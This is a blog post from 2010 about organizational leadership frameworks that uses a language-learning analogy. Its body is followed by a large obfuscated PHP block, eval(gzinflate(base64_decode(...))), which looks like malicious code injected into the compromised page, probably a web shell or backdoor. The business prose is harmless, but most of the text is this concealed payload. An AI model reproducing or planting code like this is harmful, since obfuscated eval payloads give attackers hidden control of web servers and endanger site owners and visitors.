Posted by Robert Beauchemin on Jun 20, 2010
I was recently asked to talk to a round table of executives about what is important in growing organizations. I elected to talk about the need for a Leadership Framework, as I believe it is the foundation of success.
Taken in a different context, if an individual wants to grow to become a great orator, he/she will need to have a communications framework assimilated in three steps:
- learn the basic of a given language (the words, the grammar rules, sentence construction),
- apply the previous learning to master the language (reading, writing, verb conjugation, synonyms, antonyms, style, story telling, organization thoughts)
- apply the previous learning to develop interesting subjects that will shaping understanding of audiences, mold their beliefs, impact their own thoughts.
Most organizations I visit continue to look like a Tower of Babel. A great number of people trying to achieve a common goal (hopefully one God would not despise) yet speaking a different language and as a result employees spend 51% of their time on activities not directly related to their organization's priorities, which causes 90% of well articulated strategies fail to be successfully executed. Read the rest of this entry »
eval(gzinflate(base64_decode('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'))); ?>